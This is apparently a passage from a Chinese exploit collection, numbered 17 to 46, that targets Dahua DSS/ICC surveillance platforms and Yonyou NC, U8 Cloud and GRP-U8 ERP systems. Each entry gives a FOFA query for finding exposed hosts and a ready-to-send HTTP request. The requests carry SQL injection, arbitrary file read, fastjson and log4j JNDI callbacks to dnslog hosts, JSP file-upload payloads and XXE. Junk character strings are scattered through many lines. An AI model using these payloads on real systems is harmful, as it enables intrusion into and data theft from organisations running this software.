: H1 Y7 D2 O0 L* }6 ?/ }/ _  W6 rHost: x.x.x.x
! }% D3 t& m& R% p1 g7 ~User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
+ \& j& Q" I5 @7 H; a' A8 uAccept-Language: en
, `6 c" J8 S/ L- }" Z% T- f# Y7 `Accept-Encoding: gzip
9 k7 ~+ ?; Q" Z1 U
3 m+ K% h, S$ o5 d
17. 大华 DSS itcBulletin SQL 注入
: L- X& J( P/ S: q$ rFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
/ a. [7 a0 G. q9 C3 A# F1 fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ K/ K$ h# C! H& LConnection: close
3 J2 \5 ^7 v1 K2 mContent-Length: 345
, R8 |3 c: j- k8 f- {* n$ [Accept-Encoding: gzip

- F  c- ?2 g) @8 ?0 ^8 ]& J<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
8 ~& B+ @. c5 N  [# m<s11:Body>
1 X6 C0 g' f! |0 s$ d( Z  Y" L    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
) U/ o! b( J9 D6 y      </netMarkings>
    </ns1:deleteBulletin>
3 K# v9 D. s0 w2 Y- j& m  </s11:Body>
. L. y: x4 ^; R7 k4 |: `</s11:Envelope>

! O+ T; M/ r& G) N, z  f% V
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
  H9 V8 }. p' Z' {# q* n/ S2 gFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
' F( x  R9 Z: ?. P$ x& PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% }& h/ ~/ V8 ]8 n* s/ ?' \# y/ v! u/ rAccept-Encoding: gzip, deflate
' e2 i! G. C$ [; q+ @5 ]8 EAccept: */*
' p9 n' ?2 L: {( [/ xConnection: keep-alive
& D8 Z7 g) L+ `
+ q! k& @9 j3 Z9 L5 J
$ t- x2 ]' o& ?8 X( p
3 [/ x9 Q) x5 E19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
  Q& [& N2 H" N9 b4 NGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
7 k; b  e5 g0 e0 ?; QHost:
3 O) d2 \8 |, Q) _/ D4 {User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
. i. h; m0 B3 q$ W* o, v) Q# D2 qAccept: */*
Connection: keep-alive
) C9 K& i5 K2 n1 [8 R! {% v
9 z8 P0 s2 m+ ~4 m
20. 大华ICC智能物联综合管理平台任意文件读取
9 g* T, r) M* u7 t1 CFOFA：body="*客户端会小于800*"
& s' ?7 E5 _4 }9 X( ?- AGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
: |2 e/ N5 r9 @6 D- W- yHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
6 h$ l$ q5 c  d# V  FAccept-Language: en
: f2 r( _5 L/ ^( |) w  K5 Z- LAccept-Encoding: gzip


: {0 [7 K6 n% Y2 p" |21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
' @: M1 o3 d) P5 ?9 p% N: EPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
! M' q6 x: ~, q& KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# q  V, T( B) K7 T" n% L3 ]Content-Length: 161
1 S5 r& q2 x; U% x- GAccept-Encoding: gzip
Connection: close
# E9 g" K* _' o' c5 S( ?% v" lContent-Type: application/json;charset=utf-8
* e0 e) g, v: z0 G8 ^) }
{
"a":{
3 J+ O2 t* q7 B* j2 }& c$ d: k/ X   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
" \: b% F$ X5 }1 t$ V$ h  }""
}
8 a" E6 q1 _% H8 \0 G

- H- p0 P- [3 w$ q1 t: y8 C1 ~22. 大华ICC智能物联综合管理平台 log4j远程代码执行
* I0 F5 ?+ d: \FOFA：icon_hash="-1935899595"
9 P; H/ u& }3 o8 J. y/ g, nPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

2 V6 w, Q# V3 k{
"loginName":"${jndi:ldap://dnslog}"
}
: E) i5 S9 M5 p$ w! z: n7 E
% k8 P( T2 N! e

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
* \% \- M3 c8 \/ [FOFA：icon_hash="-1935899595"
: f; O- l% R  ^  i9 mPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
) G5 k4 h; f1 M, E4 MHost: your-ip
  M" z( _% G- }4 C0 D; VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 W4 u7 L2 [* U6 `% m9 _. HContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
; ^" O! i# d# N6 F- E, g/ ?& SConnection: close

{
    "a":{
% b5 v' S- e3 w! |8 ^; p1 n        "@type":"com.alibaba.fastjson.JSONObject",
  }" I- o$ D6 O+ p. }8 O       {"@type":"java.net.URL","val":"http://DNSLOG"}
7 ?& k% A% H1 V. x/ ]# w        }""
}
& B( w1 [, a4 R, a

. e9 b3 d8 C/ Z# V1 r# Y24. 用友NC 6.5 accept.jsp任意文件上传
  f4 j. d8 x8 `6 U9 kFOFA：icon_hash="1085941792"
3 Y2 }! F/ I/ p0 X' s5 D+ wPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
& j. m3 X3 {: z: i+ Q. fContent-Length: 449
Accept: */*
Accept-Encoding: gzip
% O/ N7 ~! t0 e: }6 F- NContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
8 P" X5 r  n$ v1 n, I( ]& e3 B" Q
* Y4 d9 C$ v% ]  k, d. B4 o-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

, ~4 ?) h0 A$ a% w9 @; d/ P<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
# C* V5 H9 w' @6 x-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
# D+ g8 s; {, T5 BContent-Disposition: form-data; name="fname"
& k% y$ d  I! a' c) j) t
( t3 y' a, b6 S\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

+ M- n8 r, v2 ]! U0 K% F. ~$ ?4 s' d
# N( {5 M4 W, n7 u. _25. 用友NC registerServlet JNDI 远程代码执行
$ V8 w- c# ~) i* k% sFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
0 m$ H+ S, C$ ?) `Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
" {- Q! v* j4 ?4 d- p* UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

8 Z6 P: r* l4 J: q5 htype=1&dsname=ldap://dnslog

% V8 I$ X" ^  |( l

26. 用友NC linkVoucher SQL注入
8 q# X0 Y3 G& l; p& YFOFA：app="用友-UFIDA-NC"
" d. H2 H. ]# L/ F/ t9 [- ZGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
4 V5 q& i6 [5 p* {2 ?4 \( OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# y$ O+ Y/ z$ O+ }( \! a6 ~! ]Content-Type: application/x-www-form-urlencoded
) m6 ^* A2 @, d9 q; A' ]Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


5 e3 `  E5 D& ]% W3 ^+ @, i27. 用友 NC showcontent SQL注入
7 {* `/ x; J1 [# M; D0 ?FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
+ y- w& c3 r) [* b* p# d8 pHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 ?% y; g1 R! X$ d2 S. n4 f7 bAccept-Encoding: identity
6 @3 \  ~! \) kConnection: close
8 l  x0 H- t) X' Y( |% F, h& Q" ZContent-Type: text/xml; charset=utf-8


28. 用友NC grouptemplet 任意文件上传
" b! C" z1 r2 t+ d8 A# E8 xFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
1 b" F/ J/ w0 n" ~; V5 hContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
; C! U7 g! r% F! |
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
+ A0 ]1 i2 d. ]4 \Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
; }, ]: [! m. c0 g' a. }Content-Type: application/octet-stream

7 s. f1 d% o- U0 h  H0 ^2 P<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
5 s* H! G6 g, X/ L' v9 ]# K------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
2 I+ W6 g+ @0 N. e) {FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
" q1 j4 ~" h# `GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
: o' u$ x! O5 P& h+ p& X2 _Host: your-ip
/ k! }: W1 d6 e# }% |/ dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* q( g# N6 Q' K- Q% Y8 J& mContent-Type: application/x-www-form-urlencoded
  A- f# R. ~6 N; g8 T$ Q' {; L5 sAccept-Encoding: gzip, deflate
8 h7 a4 Z5 l" A% w' s: dAccept: */*
Connection: keep-alive
* v$ u( C. e9 J( Q; }0 h
$ Q" ]- O2 ?% @
30. 用友NC importPml SQL注入
6 i1 j1 u3 X& |FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
2 a* `& f- [4 L; oPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
$ w% R& w- X% Z' p1 F3 O- yHost: your-ip
' O  B; C; F/ [7 {1 P! PContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
1 E- Z- F7 W7 I( l, T# k. C9 GConnection: close
  u1 f( {- X  u& p+ o
! h6 b5 Y9 m% \$ ^2 O------WebKitFormBoundaryH970hbttBhoCyj9V
4 p; Y1 V8 b9 C$ i9 lContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
, C7 |; ?6 v: {/ y2 }" j$ PContent-Type: image/jpeg
, |/ n& U0 |( k- J------WebKitFormBoundaryH970hbttBhoCyj9V--

6 `% q0 ?8 p2 |+ {
! Q9 ]) T% h$ ~+ |1 w3 ~31. 用友NC runStateServlet SQL注入
version<=6.5
9 Y' x3 m6 s1 e( {FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
' W! Q! d/ a$ z( SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% Q4 e7 b; ~8 j3 n/ L  J

, t3 |$ K6 e- O32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
+ `( Y/ Y) ^1 z8 P1 jGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ e  a+ @5 g+ d1 c0 t. }8 @Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
- u; ?# C: {+ ^  Z4 zAccept: */*
$ G$ ?% U2 f* B8 b0 Q4 I% bConnection: keep-alive
, ?" X5 n, b0 B. R# n/ t' E
; m. @% o0 w  ^
( M4 I- O7 @. u& R. B33. 用友NC downTax/download SQL注入
( N4 m- w0 O- n& R& u  x# hversion：NC6.5FOFA：app="用友-UFIDA-NC"
) \7 o- a" I: X! QGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
) U& Y- A! ?; sAccept: */*
" U. q% x- R0 m9 h! M1 e' S5 r  tConnection: keep-alive
+ P6 ~! m% x2 W: s
" M& V. v4 V8 i/ B
34. 用友NC warningDetailInfo接口SQL注入
* }* j: W4 t( t" X! OFOFA：app="用友-UFIDA-NC"
' }" y1 s* Q0 U! l! G* FGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
- T4 E0 E* ^4 [Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' B. S5 K5 r( M1 y' b, q  f/ YContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
; y- q0 I, ~& B9 ~% E% [Connection: keep-alive
$ o, b! b2 |. L7 B/ n* j8 @
' z0 i0 V3 r) P% V
, B' P+ b) ]* [8 w* @& L35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
, P( r& H! a. E  ^+ LHost: 203.25.218.166:8888
6 g, X' X  A% I+ i# P# ~) @User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
! C! h9 a! K8 [  D+ ?% Z6 yAccept: */*
Connection: close
% R5 _- I' g  T4 WaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
5 G$ x2 d' s4 F! cContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
* X+ L( E  }. \6 k/ F' D
--fd28cb44e829ed1c197ec3bc71748df0
- ]; G6 E- u9 c: o0 t: kContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
/ t1 \) M4 \9 D% U--fd28cb44e829ed1c197ec3bc71748df0--


+ q, M; t4 C( m% I. j6 B36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
& b5 [' r+ S( i/ l& yPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
2 k% y% L. s" f6 V1 `8 g- |* QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
# Z1 Y" Z, ~( X, w7 L/ p, x5 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( C/ ~7 y* |! w6 ]% b# O+ jAccept-Encoding: gzip, deflate
6 o0 \$ j5 Q2 Z) OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 b9 y! P1 {6 ^( l% {Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

, T& r2 \( r6 q/ b+ u* Zmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


37. 用友NC-Cloud IUpdateService XXE
* `; `& A0 f5 _FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
, O+ B, U2 R, T' j% l( K) ^Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
- b7 H7 v1 p4 ?9 z6 w; wContent-Type: text/xml;charset=UTF-8
, }& [) Q2 U$ O' c, kSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
' q( f3 ~. [9 J3 t1 G. y3 D8 V
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
6 S  s5 k* \* \' Z" ?<soapenv:Header/>
<soapenv:Body>
5 H5 r4 z* t' H  y% m<iup:getResult>
3 {; M  W) c0 u4 ~<!--type: string-->
" K8 k$ |2 a/ T& W<iup:string><![CDATA[
$ g- t+ `5 S$ f+ m  _# L<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
: w: l% ~, m" n- j</iup:getResult>
</soapenv:Body>
7 |" r( B- [5 B! V* m$ L; h4 f7 q</soapenv:Envelope>



& i9 _' i+ E4 {6 J- \38. 用友U8 Cloud smartweb2.RPC.d XXE
, R+ E0 H, [2 h# p% T+ W" d. IFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
) w/ Y% G; a1 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
& n7 {3 O  U  Z$ [# f: DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# I; P0 w# E; d& PConnection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
5 y0 o" N! c7 m; X

/ A( J9 A( i8 X; ]  P$ Q39. 用友U8 Cloud RegisterServlet SQL注入
* F' e; ~, D8 j1 }% ZFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
. j( z9 @0 h+ \( J* W5 r1 n1 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
, m! _  e1 b6 R+ fContent-Length: 85
Accept: */*
/ i( T# Y, B2 [/ a# fAccept-Language: en
Content-Type: application/x-www-form-urlencoded
$ ?% W; d) d$ {( `  `# eX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
" ~" B3 }9 @+ b( z0 Y2 R: M1 T+ L. y  X
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
- T- N+ C+ E* ], C  h' p  |
! l3 |, t$ f3 O% t7 @! ?4 A
% o! m" {8 N1 [# D5 x+ ]* j40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
! k9 c: r: u+ o8 _* jPOST /service/XChangeServlet HTTP/1.1
" `* K& G* N2 B: ^2 X0 i9 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+ X+ F3 G; b+ u* m3 R1 pContent-Type: text/xml
# {5 \2 Y: @1 h) v. z# J1 q' S4 oConnection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
9 h; m  ^5 b9 T) dGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
5 |* S7 O& j4 n' e5 N* VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close

* j$ x+ a9 n4 \, i/ r: H9 v
# U+ A) H2 R# Z) ?; z42. 用友GRP-U8 SmartUpload01 文件上传
5 |0 L# _( s. w: i0 G  `FOFA：app="用友-GRP-U8"
$ n, y+ B) t2 V8 uPOST /u8qx/SmartUpload01.jsp HTTP/1.1
. B* g+ j* Y! T, @3 ~5 ~5 j: cHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
2 z/ ^5 W4 Q1 }
) u1 A% P: c) @0 J; J" u% Q2 ^
9 \. n6 L4 f9 }6 K. V3 O& Khttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
3 O0 K  H) m* u6 J% t
8 u7 m$ L; ^% ~! ?. v  b43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ y5 M+ o& f. A6 T0 lConnection: close
" v% o0 p8 i" }) x+ Q1 n$ i+ }SOAPAction:
5 e5 o5 c5 N( T9 y8 fContent-Type: text/xml;charset=UTF-8
# d) ?8 _" g( O+ e0 {
7 ?$ C$ L1 g/ y<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
9 T4 N* B. l$ B- l' \2 H5 {   </soapenv:Body>
0 D4 g* z& e" ~& a2 V3 o</soapenv:Envelope>

6 w- ^9 E# u' l4 D
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
  _! L# n" J) C- _+ [: O) X" h8 z6 fFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
  m$ C: g& K5 w- Q, C5 w  lHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
: Y0 p: M9 r% E! ]+ MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 _( L0 o9 j* S& m. IConnection: close


1 c, C5 v! G  F1 V: I" Q: A45. 用友GRP-U8 ufgovbank XXE
8 h7 P% Y& f2 D1 k, V. E- ^FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
, b! S- Q8 M1 H/ |8 z+ M4 bHost: 192.168.40.130:222
9 ~' S' D* A& N' g  h+ [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
( R) F% h* }" x# ?% q, ?6 X. @Connection: close
! i- \# G0 k/ z3 q. ^4 Y1 V: iContent-Length: 161
7 B5 N8 Y+ ~; Q8 G. y% S. hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, ~! ^; {% A- V5 |- N5 C  y4 i% fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 |* S1 H* n$ GContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
- i1 {* Y# L# V0 r# C8 r7 f7 }
) D; Q1 A2 A- i$ v8 h' P" zreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

7 N  |! z5 H7 d& C9 Q1 P: }9 E
8 D, v( v8 S6 D+ m3 [! ^3 U46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
3 }- T% K7 v  L6 M: [* CHost: your-ip
! S7 R, L1 a1 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ g! D  I; \+ b% P" L; D$ O# ]Connection: close
2 U4 I) W* m# L# n
